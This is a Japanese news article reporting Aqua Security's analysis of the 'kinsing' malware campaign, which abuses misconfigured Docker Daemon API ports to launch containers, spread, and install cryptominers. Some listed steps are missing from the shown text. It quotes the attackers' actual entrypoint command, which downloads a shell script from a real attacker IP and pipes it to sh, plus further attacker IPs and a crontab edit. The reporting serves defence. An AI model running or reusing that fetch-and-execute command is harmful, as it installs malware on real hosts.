Aqua Security Softwareは、コンテナ環境を標的にした「kinsing」マルウェア攻撃の脅威について、レポートを発表した。Docker APIポートの設定ミスにつけ込み、多数のコンテナに感染しながら、仮想通貨の発掘を試みる攻撃だ。クラウドネイティブ環境では何に気を付ければよいのかもまとめている。
この記事は会員限定です。会員登録(無料)すると全てご覧いただけます。
Aqua Security Softwareは2020年4月3日(米国時間)、コンテナ環境を標的にした「kinsing」マルウェアによる攻撃の脅威について解説したレポートを発表した。
同社はコンテナ向けのセキュリティ対策製品などを手掛け、企業によるクラウドネイティブアプリケーションやインフラのセキュリティ確保を支援する企業だ。
同社によると、コンテナ環境を狙った攻撃がこのところ増加しているという。中でも、誤って構成されたオープンDocker Daemon APIポートを標的にした攻撃キャンペーンが目立つ。数カ月にわたってキャンペーンが継続しており、かつてない高頻度となっている。同社はこの攻撃が、攻撃実行に必要な大規模なリソースとインフラを有する攻撃者によって、計画的に行われていると結論付けている。
Aqua Security Softwareの分析によれば、攻撃者は「kinsing」マルウェアを使い、誤って構成されたDocker Daemon APIポートを悪用してUbuntuコンテナで実行する。その後、kinsingマルウェアが自身のコピーを他のコンテナやホストに拡散しようとすることを突き止めた。最終的には仮想通貨を発掘するクリプトマイナーがコンテナ内に配置される。
今回見つかった攻撃の仕組みに関する同社の分析は次の通りだ。
攻撃者は、保護されていないオープンDocker APIポートを悪用し、Ubuntuコンテナを次のエントリーポイントでインスタンス化する。
/bin/bash -c apt-get update && apt-get install -y wget cron;service cron start; wget -q -O - 142.44.191.122/d.sh | sh;tail -f /dev/null
このエントリーポイントは、この攻撃で常に使用されていた。攻撃ごとに違っていたのは「d.sh」がダウンロードされるIPアドレスだけだった。例示したIPアドレスの他、「217.12.221.244」と「185.92.74.42」というIPアドレスが使われていた。
例示したコマンドは、次のような一連の処理を実行する。
特徴的なのはwgetコマンドでconシェルスクリプトをダウンロードしている点だ。このシェルスクリプトは後ほど、コンテナ内で永続性を獲得するために使われる。
d.shという名称のシェルスクリプト(以下、シェルスクリプト)は、600行以上あり、次の7段階の内容を実行する。
crontab -l | sed '/update.sh/d' | crontab -
Aqua Security Softwareが分析のためにkinsingをマルウェア検査サイト「Virus Total」に提出したところ、kinsingは同サイトによってLinuxエージェントと特定された。
kinsing内の文字列から、このマルウェアはGo言語で記述されており、次のようなGoライブラリを使用することが分かった。
Copyright © ITmedia, Inc. All Rights Reserved.